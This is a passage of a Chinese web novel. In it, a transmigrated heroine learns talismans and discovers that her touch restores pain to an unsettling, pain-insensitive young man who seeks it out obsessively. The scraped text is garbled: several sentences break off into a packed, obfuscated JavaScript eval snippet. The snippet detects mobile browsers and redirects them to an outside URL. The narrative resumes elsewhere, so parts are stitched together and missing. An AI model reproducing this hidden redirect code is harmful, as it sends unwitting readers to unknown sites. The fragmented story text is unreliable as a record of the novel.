对于上学时期就是学霸甚至还跳级了的池镜花来说,记住符咒的画法可太容易了,可光脑子记住压根没用,能否将符咒专为己用才是关键,这跟每个人的体质有关。 经过大半天的耐心尝试,池镜花恍然明白了一件事——她可能没有修道天赋。 池镜花会画的符咒不少,但真正起作用的只有一张“禁言符”。 问题是,她总不能在遇到鬼怪的时候不让对方说话来以此降低他的攻击力吧? 感觉十分不靠谱。 池镜花垂着脑袋长叹一口气。 赵星澜却认为这是每个修道之人的必经之路,他轻拍池镜花的肩膀,夸她有天分,鼓励她多试几次一定可以都学会。 面对男主的好心安慰,池镜花正要回以礼貌笑容,耳畔忽而传来几道清脆的声响,不断回响轰鸣。 她蓦地抬起头望向对面。 摇曳斑驳的树影在奚逢秋的白衣间上随风飞舞,他低垂的乌睫微微颤动,神色晦暗不明,却异常安静,正在用他的催命铜钱占卜。 顿时,一些不适的记忆翻涌而上,池镜花只觉得脊背已经升起一阵凉意。 怕他产生什么危险想法,池镜花欲喊一喊奚逢秋,可还没等她出声,三枚铜钱又被掷出。 和前几次不同,只有两枚铜钱落在石桌上,最后一枚则掉在地面,一路滚到池镜花脚边,撞向她的鞋底。 奚逢秋神色微怔,似乎没想到会出现这种失误。 池镜花毫不犹豫地捡起,略过赵星澜,径直走到他身边,扬起明媚灿烂的笑容,朝他摊开五指。 “奚逢秋,还给你。” 第三枚铜钱就平稳躺在她的掌心,可奚逢秋幽幽目光最先捕捉到的却是池镜花手上那抹刺眼惹人厌的朱砂墨水,正死死黏着她那仿佛轻轻一握就能被折断的纤细指骨。 当奚逢秋视线继续向上,眼底倒映出游走在池镜花指尖的几道模糊的树影光斑,不知想起什么,神情恍惚,似是心不在焉,有些失落地喃喃自语。 “今天的太阳也很好呢……” 15. 第15章 太阳很好? 池镜花愣愣地望着奚逢秋,一时没有反应过来,直到骤然起风,视线中突然晃过一片树影才回过神。 阳光明媚,微风和煦。她眉眼弯弯,扬起个笑来,“对啊,今天的天气很好,正适合修习。” “嗯,你说得很对。” 奚逢秋轻轻点头附和,态度温和极了。 他慢腾腾抬手,日光落在苍白指尖所投在地面的阴影慢慢靠近少女,最终从她手中取回铜钱。 或是铜钱无意擦过她的指尖,所以徒留一片若有似无的痒意。 池镜花低头摸了摸指尖,耳边又传来奚逢秋的声音,轻轻慢慢的,如山间清泉,极为好听。 “要我教你吗?” 她猛地望过去,不明所以地眨眨眼睛。 树下少年唇边擒着温柔的浅笑,耳铛轻摇几下,投在脸颊处的一小块枝叶阴影随风轻轻摇曳。 “只是一些防身之术,或许在你碰到鬼怪时会派上用场。” 听他所言,池镜花总算明白他的意图。 其实这也挺好。 她跟着男主学了半天符咒只学会个“禁言符”,说不定更适合学别的,唯一令她感到疑惑的是,奚逢秋这朵黑心莲会不会借着教她在打别的算盘? 她不禁开口确认道:“真的会教我吗?” 他微微点头轻“嗯”一声,含笑的目光轻晃过赵星澜,后慢悠悠地落回到池镜花脸上,眼底笑意更甚。 “不过得换个地方。” 池镜花又犯迷糊了,不过还是满足他的要求,跟赵星澜打了声招呼,才同他一道出门。 半个时辰后,池镜花手里就多了把趁手的兵器——是一把有些年头但足以致命的短剑。 当然,是问客栈老板借的。 绕过熙攘的街道,他们目前位于一块荒芜贫瘠的空地,四周无一户人家,狗看了都直摇头,要说唯一的风景,应该是与奚逢秋作伴的白鹤,正站在远处歪着细脖静悄悄地注视二人。 池镜花风中迷茫,随风飘舞的发丝有些迷眼。 她半仰起头,盯着站在她面前的少年。 “我们现在要做什么?” 奚逢秋垂下眼眸,幽幽视线从短剑移至池镜花指尖的朱砂上。 为何会如此在意,他也搞不清楚,但那抹颜色很是碍眼。 他复又抬眸,午后阳光直直照在他的面颊,本就苍白的皮肤反而愈显病态,唯有耳铛的色彩越发鲜红。 “虽然我不常用剑,但也会一些剑法,我想,应该对你有用。” 剑法? 他还会这个吗? 池镜花仔细回忆,这才记起原著曾提过他极为聪明,不管学什么看一遍就会,是个天才一般的人物。 既然如此,信他吧! 池镜花毫不犹豫地把短剑递到他面前,不想又被他抵着手腕轻推回来。 她愣住几秒,不由困惑地问道:“不需要先给我做个示范吗?” 奚逢秋已扯住指尖衍生出的细长白线,眼底逐步染上一层笑意,微颤的睫羽诉尽不同寻常的兴奋,唇畔在冷风中微微上扬。 “比起眼睛,身体会让你更快记住。” 池镜花下意识地后撤半步。 “可是我还什么都不会啊。” “没关系,只要会握剑就行。” 奚逢秋的声音很轻很轻,宛如一滴落在平静湖面的雨水,荡起一圈圈碧波涟漪。 池镜花的心里直犯怵,总觉得事情没那么简单,或许,她就不应该跟奚逢秋出来的。 “具体要怎么做?” 出于好奇,池镜花还是问了一嘴,只是万万没想到,得到的回答却令她大吃一惊。 “请你用这把剑杀我。” 不管说得话有多么令人惊恐震惊,他依旧是一副谦和有礼的模样,面上挂着柔和纯良的笑容,加上谪仙般的昳丽五官,在不了解他的情况下,总会叫人忍不住想要亲近他。 池镜花突然有点理解曾向他表白却不幸被杀的那位姑娘。 男配是真漂亮。 不过,当他一开口,这种感觉便荡然无存,池镜花直接哽住,以一种“你是认真的吗”的眼神紧紧盯住他。 似是看穿她的心里话,奚逢秋向前一步,停在离她不到半米远的距离,轻轻歪过头,目光缱绻着无限温柔,轻声慢语地开了口。 “不要惊讶,这只是一件很普通的事。” 不是,“普通”是这么用的吗? 他的脑回路可能不太正常,但池镜花百分百跟他不同。 “我不会杀人。” 在她看来,这应是直截了当的拒绝,不想奚逢秋垂眸沉思,一言不发地静静凝望着缠于指尖的缕缕白丝,落于脸颊的月牙阴影轻轻颤动。 似是想到什么,他抬眸时的目光不偏不倚地坠在池镜花的脸上。 “很简单的。” 当轻声吐出“简单”二字时,奚逢秋宛如邻家兄长辅导她功课一般,藏起笑意的眉眼间蕴着数不尽的耐心与温柔。 池镜花有一瞬间的错愕。 但很快,冰冷残酷的现实劈头盖脸地砸了过来。 日光不知何时躲于云后,他整个人看上去仿佛笼罩一层阴沉氤氲的雾气,偏偏双瞳盈满怪异兴奋的笑。 “只需要轻轻将短剑插进我的心脏或者是脖颈,若是力气不够还可以……” “停!” 他每多说一个字,池镜花的心脏便多一分颤抖,几次三番地,再不叫停,感觉快被吓出毛病来了。 面对奚逢秋困惑不已、透露出几分天真无辜乖巧神情,她深吸一口冷气,音量不自觉拔高几度,一字一句,表情从未如现在这般认真。 “我的意思是,别说我根本打不过你,就算我比你厉害,也不会动手杀你,听明白了吗?” 表白是不可能表白的,况且就算说了,那也并非池镜花的真心话,但可以让奚逢秋知晓——她对他,毫无伤害之意。 “那要换种玩法吗?” 奚逢秋似是压根没接收到她话中传达的讯息,一声轻笑贴着她的耳廓轻慢划过,没等池镜花反应过来,一根细长白丝已缠住她的手腕。 分明隔着衣衫,凉意却沁入骨骸,极速蔓延至四肢百骸,不禁令她打了个冷颤。 池镜花下意识地想要扯下丝丝缕缕的细线,却怎么也解不开。 “你到底要做——” “什么”二字尚卡在喉咙里,下一瞬,池镜花只觉得身体不受控制地动了起来。 奚逢秋指尖微动,凭借本能操 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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池镜花指尖一顿。 同样怔住的还有奚逢秋。 少女的动作太快,等他反应过来之后,脸颊伤口处已传来一股异样的感觉。 这种感觉如细微的电流极速穿过身体的每一处细节与毛孔,吞噬掉其他所有感官感觉,仿佛有一只无形黑手正肆意搅动他的呼吸和心跳,最后只能感受到池镜花指尖的温热和伤口的痛处。 疼? 不对不对不对。 好奇怪。 好奇怪。 好奇怪。 ——得离她远点!!! 松垮的白丝再次绷紧,奚逢秋骤然扯住丝线,使得白丝割破掌心,渗出斑驳的血迹,他却感受不到手指的疼痛,只本能地想让她离他远点。 猝不及防的一阵外力拽住池镜花,待她回过神来蓦然抬头,发现她与奚逢秋不止挨得更近,是几乎是倒在他怀里,脸颊贴他的心口,耳边是他剧烈的心跳起伏。 一下又一下,清晰砸进她的耳蜗之中。 16. 第16章 他心跳得极快。 池镜花直愣愣仰起头,发现他低垂的睫羽似氤氲淡蓝色的雾气,呼吸也异常急促,唇瓣血色极淡,似乎很不好受的样子。 顿时,鼻腔涌入阵阵清香,而且因为距离过近,紧挨的身体也无意染上他的气息,比之前任何时间都要好闻,恍如瞬间迈入盛夏莲池。 池镜花神情错愕地望着他。 疼痛还在永无止境地蔓延和侵入。 并非是他的错觉。 奚逢秋已记不清上次体会到这种感觉是在何时,但当他重新感受到痛觉,第一直觉是抗拒,生理和心理都在抗拒。 “别碰……” 他的声音很轻,似在颤抖,脸颊上的月牙阴影也在不停颤动,看上去很好欺负的样子。 “哦……哦,好,好。” 有些尴尬地意识到不妥,池镜花计划立即缩回手指,不想在后撤时被白丝再次扯回,一不留神指尖直直按住他的伤口,溢出的血迹已盖住她指尖朱砂的颜色。 凉意和疼痛交互,奚逢秋抑制不住身体颤抖了一下,浅蓝色的雾气慢慢成为水气氤氲在眼底,有轻微的喘|息声传来。 他到底是怎么了? 不过是碰了一下他的伤口,怎么反应这么大? 池镜花心中疑窦丛生,但还是连连道歉:“对不起对不起,我真不是故意的,是你缠得太紧了。” 缠住她的绷直白丝,虽然无害但也解不开。 池镜花试了几次最终放弃。 她已竭力避免再接触他,可有束缚在,就不可能离他很远。 “这个,能解开吗?” 话音落下,奚逢秋垂眸看着她,没有回应,睫羽却止不住颤抖,顿时,所有束缚皆化为齑粉。 原来是可以松开的,区别在于奚逢秋的意志。 池镜花立刻往后退,在和他保持安全距离的前提下,悄咪咪地观察他的表情变化。 当脸颊的柔软褪去,伤口疼痛不再,奚逢秋波动的情绪逐渐趋于平静,看上去已经恢复如初,只是长睫垂下,不知在想些什么。 池镜花左看右看,实在瞧不出什么门道,但又觉得他和之前有点不大一样,心不在焉的样子,就连晚饭期间她去敲门也无人应答,可烛灯是亮着的。 明显是不想搭理她。 太奇怪了。 池镜花想不明白自己究竟是哪里得罪他了。 分明是奚逢秋提议要教她的,短剑虽是她挑选的,可也是在他默认的情况下,她还没怪他把她当成纸人随意拉扯四肢,他倒还生气了? 池镜花决定不管他了。 穿过幽暗寂静的长廊,池镜花从他门口经过,回到自己的房间,抱着被子毫无负担地沉沉睡去。 长夜漫漫,奚逢秋却无心睡眠。 房间里,门窗紧闭,隔绝外界一切。 忽暗忽明的烛火将他坐于窗前的身影无限拉长。 奚逢秋眼神空洞地一眨不眨地盯着破旧窗棂,窗外风声滔滔,他却什么也听不见,一遍遍回忆白天所发生的事情。 所谓疼痛——并非是他的错觉。 但是…… 好奇怪! 好奇怪!! 好奇怪!!! 当长久不曾体验过的痛处瞬间袭来,他的直觉是躲,躲在一个相对安全的位置,最好是可以保持现状。 仿佛这才是正常的。 可不知为何,现在,身体似乎无比渴望那种异常的疼痛。 他摸向了戴着耳铛的耳垂,想起年幼穿耳洞时的场景。 不知从何时起,他开始感受不到疼痛,为了验证这一事情准确性,一日午后,他在无人时故意用长针戳穿耳垂,血流了很多,染红了整只肩膀,可他依旧感受不到任何疼痛。 母亲得知此事后神色讶然,很快便露出憎恶的表情,大骂他是个“疯子”。 好巧,他也这么觉得。 否则,怎么会一点也不疼呢。 接着,他又按住脸颊的伤口,未经过处理的伤口再次流出了鲜血,顺着他的指尖缓缓流淌,滴在木板上。 奚逢秋僵硬地垂下眼睫,宛如深海的双眸映出指尖触目惊心的血迹,停顿几秒,他忽地困惑的歪了歪脑袋。 ——怎么还是不疼? 为了寻求一丝疼痛,奚逢秋毫不犹豫地扯出细线,用力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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当他慢步走到池镜花房间门口时,不见房间内有任何光亮。 他操纵白丝从里面将门栓打开,来到她床边,看见池镜花早已熟睡,睡姿也不算文雅。 不过他不在意。 幽幽目光一寸寸扫过少女白皙的脸颊和纤细的脖颈,最终定在葱白的指尖上,眉宇间藏不住的兴奋和期待。 要从那里开始吗? 17. 第17章 熟睡中,像是有什么冰冷细长的爬行动物缓慢攀上她的脸颊,逐步侵蚀她的肌肤,全身被一股阴湿的凉意所包裹。 所以,池镜花是被冻醒的。 睁眼时,池镜花惊诧发现贴在她脸颊的是几缕柔软的墨发。 她抬眸望去,与奚逢秋四目相对。 冷白的月光从窗棂倾泻,映出少年苍白如雪的面颊以及如同血滴的耳坠。 他坐在她的床边,正俯身静静凝视着她,冰凉柔软的发丝从他的耳侧悄然滑落,落在她的脸颊,死死缠住她的身后乌发。 池镜花不由诧异地喊出声:“奚逢秋?” 房间突然多出个人,池镜花吓得魂丢了一半,可当她看向奚逢秋时,只见他神情自若,面上挂着一丝淡淡的笑。 “嗯,是我。” 池镜花深吸一口凉气平复心情,接着慢慢起身,随着她的动作,所有缠住她的发丝渐行渐远,若有似无地轻轻拂过她的脸颊。 回想起白日发生的一切,池镜花满是疑问地盯着端坐在她身旁、保持一定距离的奚逢秋。 “你在这做什么?” 他继续笑着,尾音拖得有些长,声音稍显甜腻。 “好疼啊……” 疼? 借着窗外皎皎月光,池镜花看清他脸上的伤口已经裂开,视线继续往下,甚至瞧见鲜红的血迹顺着臂膀,汇聚指尖,滴在地板上,许是已经来了许久,早已形成一摊触目惊心的血水。 池镜花心尖一颤。 “稍等,我点个灯。” 她套个外套匆忙爬起,从床底摸出一盏蜡烛,待烛光盈满房间,又想到还得处理伤口,又回头道:“再等一下,马上回来。” 等她快步走到房间门口,发现房门并没有被破坏的痕迹,忍不住回头看他一眼,发现他也正盯着自己。 抿了抿唇,虽然池镜花什么也没说,但还是希望他下次别这么吓人。 不多时,她向客栈老板借来了纱布和 等她回到客房,奚逢秋依旧安静乖巧地坐在桌旁,只在察觉房门被推开时才微微抬眸,眼底浮出跃动的火光残影,唇畔漾出一个笑。 “好慢。” 池镜花忍不住回怼:“已经很快了。” 她放下物品,在奚逢秋注视下撩开衣袖,将布巾沾上水,就在准备替他清理伤口前一秒,池镜花忽然记起一件重要的事情来。 烛火猛地一闪,池镜花偏过头,明明灭灭的烛火照在她白皙透亮的侧脸,连头发丝都写满了疑问。 “你刚才说……疼?” 奚逢秋轻轻点头,目不斜视地凝视着她,眼神中透露出几分期待之意。 “是啊,疼,很疼。” 池镜花很是纳闷,“可你不是不会疼的吗?” 奚逢秋并未否认她的说法。 他的视线滑过池镜花的脸颊落在她沾水的指尖,低垂的长睫虽遮住眸中情绪,话语之中夹带着难以察觉的兴奋之情。 “你碰我,就会疼了。” “啊……啊?” 池镜花一时未能领悟这话中含义,稍加思考,慢吞吞地伸出右手,食指指腹轻压在他的左脸颊伤口,又抬起。 “是这样吗?” 没等来奚逢秋的回答,不过微微一颤的睫羽和锁骨给了她回应。 还真是。 所以白天他那副反应是因为感受到了疼痛? 池镜花仔细回忆从他们第一天认识以来所发生的事情。 讲道理,在今天之前,他们从未有过直接的肢体接触,自然也就不知道她的触碰会给他带来疼痛。 但当池镜花想起奚逢秋白日的迷茫和逃避,现在却无比渴求,一时搞不清他到底是抗拒还是喜欢。 池镜花决定再试一次。 事不过三,到时候究竟是“喜欢”还是“抗拒”自见分晓。 微凉的指尖再次落下又抬起,不出所料,奚逢秋不可避免地身体颤抖了下,呼吸逐渐加重,像是做了什么剧烈运动似的。 结果已经分明。 ——还真是个奇怪的体质。 奚逢也认为自己相当奇怪,分明是疼痛,却只有在刚开始的瞬间有些无所适从,现在却喜欢得不得了。 好想就这么一直疼下去。 可惜不行。 在池镜花小心翼翼地替他将脸上和手臂上的血迹擦净以后,她便迅速收回指尖,顺手将金疮药递了过去。 奚逢秋却没接。 他半仰头望着池镜花,被烛火拉长耳铛影子映照在冷白颈侧,随着夜风轻轻摇曳,眼底浮现出被明亮烛火包围的少女模糊的身影。 “可以用你的手吗?” 他的声音很轻,像羽毛刮过她的耳廓,甚至夹杂着请求之意。 池镜花果断拒绝:“还是你自己来吧。” 利用她实现自己生理上的愉悦太过可耻,而且还有剧毒,如果可以,她想尽量避免直接接触他的血肉。 奚逢秋不羞不恼,继而弯起双眸,露出个天真无辜的笑,“那可以请你把手借给我吗?” ……这不是一个意思吗? 就这么执着吗? 池镜花无奈长叹一口气,“好吧,我帮你。” 鉴于他好不容易才找回痛觉,池镜花决定做回好人,满足他的无礼要求。 池镜花将金疮药拿到蜡烛旁,借着烛光剜出一点,随后身体慢慢靠近奚逢秋,在双方脸颊距离不到十公分处停下。 怕他误会,池镜花立即解释:“光线太暗了,有点看不清。” 奚逢秋轻轻应声,并不介意她的靠近。 池镜花抬眸望去,在看见奚逢秋脸上的伤口时,其实挺有负罪感的。 幸亏她停得及时,不然真得破相,只希望这金疮药发挥点效用,别让他留疤才好。 想到这,她慢腾腾地伸出手,将指尖的膏药均匀地涂抹到他脸颊的伤口。 不想甫一碰到他的伤口,便看见奚逢秋纤长的睫羽便忍不住颤抖,他垂下眼眸,脸颊的月牙阴影烛火中晃晃悠悠,池镜花视线向下,似能看见埋在苍白皮肤下的紫青色血管。 无论如何,池镜花只想赶紧了事,不料还没等她加快速度,耳边突然响起奚逢秋轻轻慢慢的颤抖声。 “慢一些。” 池镜花指尖一顿,内心万分无奈,但手上动作却慢了不少。 “这样吗?” 奚逢秋微不可闻地轻“嗯”一声。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244794|166345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>窗外的风声不知何时息了,四周静得出奇,似乎只能听见彼此的心跳,偶尔夹杂着蜡烛燃烧时发出的杂音。 池镜花忍不住观察他的神情。 温柔的烛火似给他苍白的面容铺上一层暖色的薄纱,伴随着微微颤抖的身体,急促的心跳声已完全掩盖住她的,蓝色的双瞳里也逐步漫上一层水雾,跟随眨眼的动作,水气沾上鸦黑的睫羽,眼底止不住的兴奋。 ……怎么感觉好像在跟他做什么坏事一样。 池镜花呼吸一滞,指上猛地加大力气,狠狠按住他的伤口,本以为能让他清醒一些,不曾想这对于他来说,似乎不是报复,更像是一种奖励。 可是正常人怎么会喜欢疼痛的滋味呢? 果然是个脑子有病的变态! 而此时此刻,奚逢秋只想要更多、更多,似乎只有在她手中才能让自己有活着的实感,不仅仅是因为疼痛,而是身心同时得到前所未有的满足,这是他从未所体验过的神奇感觉。 太奇怪了。 奚逢秋轻轻掀开双眸,灼灼视线如水蛇般的死死抵在她的脸颊。 没等池镜花问出缘由,他骤然伸出右手,指尖没有直接接触到她,只停在她的眉眼处,停顿几秒才开始缓慢移动。 冰凉的指尖从额头眉心至眼睛、绕过脸颊,停在了她的唇前。 虽然不是直接的肌肤接触,但当他若有似无地拂过脸颊的细小绒毛,还是很痒,而且不明所以。 池镜花眨了眨眼睛,身体下意识地想要远离,可时机不太对。 “奚逢秋?” 迫于压力,她试着唤回他的神识,可奚逢秋没有回应她,因为指尖的奇妙触觉夺走了他的全部注意力。 他清晰地感受到池镜花浇在他指尖的气息,是热的、烫的、活的。 当他指尖继续向下游走停在她的脖颈前方,视线紧盯着少女纤弱的脖颈。 池镜花心中警铃大作。 这个距离,只要奚逢秋再往前半步,就能掐住她的脖颈。 虽然池镜花觉得他暂时不会想杀她,但这种事情谁说得准。 意识到可能有生命危险,顿时,她只觉得呼吸困难,再也听不见奚逢秋的心跳声,耳边只剩轰鸣的噪音。 本能告诉她应该离他远点,可在真正的危险到来之前,池镜花只能强迫自己冷静下来。 “别怕。” 许是察觉到她不同寻常的呼吸和心跳,奚逢秋瞬间意识回笼。 他慢慢放下手臂,露出个温暖和煦的笑容。 “我不会伤害你的。” 池镜花不语,倒也不是不信他,只是不知该如何作答,要说“谢谢”也太奇怪了,难道她要感谢她的不杀之恩?可她本来也没做什么啊。 过去许久,蜡烛只剩半根,投在少年眼底烛火悠悠晃晃,映出别样的色彩。 他微微笑着,落于颈侧的长影轻轻摇曳,几乎是以恳求的语气开了口。 “明天还可以继续吗?” 池镜花讷讷重复:“明天?” 奚逢秋轻轻点头,“嗯”了一声,表情乖巧得不像话,像是对她的回应翘首期盼。 因为他发现,不管是明天,还是以后,自己都很需要她。 18. 第18章 在奚逢秋罕见地恢复痛觉后的第二日,天气阴沉沉的,像是要下雨却下不下来的样子,屋内比屋外还要闷热。 几人只能在客栈一楼的院子里透气。 【男配好感度+0,当前好感度:10/100】 鉴于昨日发生的事情,池镜花特地向系统申请查询男配好感度,得到的结果却令她大吃一惊。 她低着头,微微蹙眉做沉思状,急得双手背在身后在院子里来回踱步。 按理说,她都牺牲自己帮他找回痛觉了,怎么好感度一点也不增加? 上次误打误撞还增加了…… 池镜花试图复盘第一次好感度增加时与他一道所发生的事情。 不行,还是想不明白。 她感觉自己就像一只无头苍蝇,怎么也掌握不了奚逢秋的喜好。 “池姑娘?” 坐在不远处石凳上的赵星澜轻声细语地唤她一声,“赵某刚才跟你说的,你都记住了吗?” 池镜花猛地转身,对上找星澜的温柔却透露出几分无奈的眼神,忙点了点头。 “哦……哦,记住了记住了。” 刚才男主喋喋不休个大半天,无非是提醒她遇到女鬼该做什么不该做什么,当然,最有效的办法还是跑路,千万不要硬碰硬,实在不行就喊人帮人,尤其是在她只会个“禁言符”的情况下。 所以,赵星澜今日特地起了个大早,给她画了许多符咒,不需要什么技巧,只要妖鬼碰到符咒就能奏效。 池镜花相当感激地收下符咒,低头看见怀中的符咒上的朱砂,想起什么事,向坐在男主对面的奚逢秋看过去。 事实上,他也一直凝视着池镜花,视线如同缠人的鬼魅从不回避。 令池镜花想不明白的是,奚逢秋到底盯着她做什么? 池镜花一味不语,径直走到他身边,微微弯下腰倾身靠过去,见他毫不闪躲,指腹忍不住轻轻戳了下他的伤口。 不出所料,只要她一触碰,奚逢秋纤细浓密的长睫便如蝶翅般轻轻颤抖,低垂的眼眸怎么盖不住眼底流露出的兴奋和满足之情,连身体都在不自觉地朝她贴近,想要触碰到她的一切。 这么喜欢的话好感度为什么一点也不增加! 池镜花表情愈发迷茫。 “看来二位的关系变好了许多呢。” 沉默多时的赵星澜冷不丁一句话打破沉寂。 池镜花猛地缩回手指,有些不好意思地背在身后,刚想开口说“不是你想的那样”,突然间,奚逢秋先一步开口。 “如此,便算是关系好了吗?” 他的提问只有疑惑和不解,不含任何杂质。 赵星澜无法回答,默了默,尴尬地一笑而过,找了个理由先行离开此处。 望着男主慌乱逃离的背影,池镜花长叹一口气,莫名有些气馁,虽然一早就知道攻略男配不容易,但这也太难了吧! 她想回家了。 没等她思念家乡的一切,一道声音硬生生插|入脑海,截断她的回忆。 “池镜花。” 他的声音分明很轻,却如玉石坠地,格外地引人注目。 “啊……啊?” 这是池镜花第一次从奚逢秋口中听到他叫她的全名,难免无所适从,颇为紧张地攥紧了衣裙,连声音都变得结结巴巴的。 “怎、怎么了?” 阴沉沉的乌云下,少年微微偏过头,血红的耳铛摇曳几下,轻轻撞向颈侧,迷茫的眼底倒映出少女略为慌张的表情。 “我们的关系好吗?” 好吧。 虽然不愿承认,他们之间的关系还真算不上多好,至少,奚逢秋一直对她抱有强烈的杀意,或许,在她身份秘密揭晓的那一刻,就是她的死期。 实话实说是不可能的。 池镜花咬了咬唇,思忖片刻,选择将这个烫手山芋抛回去。 “你觉得呢?” 他眼底疑惑更甚,像是坐在学堂里虚心请教夫子的好学生一般渴望地望着她。 “什么是好?” 不是,他连“好”都不知道吗? 到底是不知道?还是没有经历过呢? 从他过往的部分记忆看来,连亲生母亲都那般对待他,又怎么奢求别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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次日,依旧是个阴天,不过却没那么闷了,远远地,透过窗棂可以看见树枝在秋风中轻轻摇曳,落下几片泛黄的枝叶。 “姑娘是要出门吗?” 池镜花前脚离开客房,迎面撞上一名年轻的客栈伙计,伙计一瞧便猜中她今天要出去办事,在池镜花疑惑的目光中,他笑嘻嘻地解释道:“我的意思是,今天可能会下雨,姑娘你最好还是带把伞,免得淋湿了。” 池镜花礼貌地回了句“多谢”,便独自下了楼。 来到客栈一楼,最先映入眼帘的是坐在窗边的奚逢秋。 窗外树枝上的绿叶少了很多,剩余枝叶正随风飞舞,偶尔悠悠晃晃地飘下几片,形成一道萧萧瑟瑟的秋日景色。 和前几天一样,少年百无聊赖单手撑着脸颊,神色平静地看着客栈内所发生的一切,唯有在感知到池镜花的靠近才微微抬眼望去,宛如深海的双眸仿佛不见外界纷扰,只映出少女清晰的身影。 四目相对,池镜花身子一顿,蓦然想起昨天发生的事情。 面对她鼓足勇气才说出口的话语,奚逢秋却是反应平平,他长睫低垂,视线紧紧盯着她指尖的伤口和鲜血,低声慢语道:“是吗……” 池镜花完全猜不到他在想什么,她的一番慷慨激昂的陈词似乎成了最无用的摆设。 挫败感油然而生,不知是不是因为这事,池镜花整日无精打采的,这种情况持续到现在,直至睡了一觉才觉心情好点。 不过她暂时有些不想跟他说话了。 可就在她准备另外找个空桌坐下等赵星澜、从奚逢秋身边无意经过的时候,耳边忽地传来一道清澈夹杂着疑惑的声音。 “不是要跟我好吗?为何不过来?” 池镜花脚步一顿,硬着头皮转身坐到他对面,目不斜视地盯着他,只是心中怨气尚未完全消散。 “过来了。” 似是察觉到她的情绪,奚逢秋轻笑一声,眼眸低垂,目光扫向桌面。 “时间还早,要尝尝吗?” 顺着他的视线看过去,池镜花意外发现他似乎很是喜欢替她准备膳食,而且一次比一次丰富,基本囊括了市面上所有早点。 有点奇怪。 但池镜花没有拒绝他的“好意”,虽说如此,但满满一桌子,基本每个种类尝一口就饱了,再多也塞不下。 当然,太辣的除外。 胃会受不了。 奚逢秋在笑,他继续单手支着脸颊,唇角微微上扬,一副心情很好的样子观察着她。 管他是笑是哭,池镜花还是暂且不想与他多说话。 等吃完饭,男主赵星澜才出现,只是看上去不太精神,应是昨晚没少被女主折腾。 没能亲眼看到喜欢的CP互动,池镜花略感遗憾。 她悄默默叹口气,忽然察觉一道灼热的目光落在自己身上。 池镜花扭头望过去,与奚逢秋四目相对。 耳边静得似乎只剩风声,在与他无声对视几秒后,奚逢秋视线稍稍偏移几分,露出冷白侧脸上的醒目伤口,伤口虽相比于昨日好了很多,但会不会留疤还是个大问题。 池镜花抿唇不语,内心对此十分愧疚。 赵星澜未曾注意到两人之间的奇妙互动,只一心想着赶去袁府解决衣服鬼。 不过,当几人赶到袁氏布庄时,大门却紧闭着,正当他们犯愁,池镜花蓦地一转头,看见巷子的尽头,袁夫人的贴身丫鬟小鱼蹑手蹑脚地探出个脑袋,冲她露出几颗洁白的牙齿。 “看来是那边呢。” 奚逢秋同样注意到小鱼的存在,唇角扬起微不可察的浅笑。 池镜花不禁疑惑。 难道奚逢秋对捉鬼之事也感兴趣吗? 其实书中对这方面没有过多的描述,大多数时候,男配都是辅助一般的存在,不过从他的表现来看,大抵是觉得很有趣吧。 三人跟随小鱼一道从后院进入袁府,绕过几个幽静的长廊,先是去见了袁夫人。 与上次相比,袁夫人面色更显憔悴,整个人也瘦了不少,双颊凹陷,眼球凸出,走起路来下盘不稳脑袋摇摇摆摆,发间的珠钗也摇晃不止。 “麻烦诸位今日白跑一趟了,那嫁衣我烧了。” 今日阴天,内室昏暗,只点了一盏蜡烛,烛火明明灭灭,袁夫人歪着脑袋,眼珠瞪大,脸色苍白如雪,毫无血色的唇瓣露出诡异的笑容。 “烧了就没事了对不对?” 停顿几秒,没等来几人的回答,袁夫人漆黑不见底的瞳孔迅速转了一圈,忽而用力拽住丝帕,几近透明指尖很快泛起红意,她几乎是扯着嗓子大喊大叫。 “为什么不回答我!” 其实并非如此,红嫁衣只是媒介,就算烧毁,女鬼也不会随着消失,只会更加警惕地躲起来静候时机。 几人的沉默给了袁夫人答案。 “原来如此,她没死啊……” 她垂下双臂,情绪平稳了不少,微微一笑,向几人轻轻行了个礼。 “那就麻烦诸位了。” 说罢,袁夫人在小鱼的搀扶下离开此处,一路上都在喃喃自语。 “是她害了我的孩子,是她,就是她……” 从袁夫人支离破碎的言语中可以得知,她小产一事并不假,只是脑子是否有病还有待商榷,毕竟可能是失去孩子出现应激反应。 袁夫人离开后不久,屋内进来位瞎了一只眼睛、驼背、腿脚也不利索的男人,年纪不是很大,但头发却白了大半。 光线太暗,烛火闪烁,看不清男人的具体神情,只知道他袁府的管家,幽暗的目光扫过几人,做了个“请”的手势 “诸位请随我来。” 他将几人安排到无人居住的偏厢房,低着头轻声道:“几位暂且在这住下,有任何事情都可以来找我,我的住处就在那边。” 说着,管家给几人指明个方向,“那就不打扰各位了。” 他正要走,赵星澜立马叫住他,从怀中抽出几张黄符递给他。 “麻烦管家你将这几张符贴在夫人的房门上,可避免女鬼近身。” 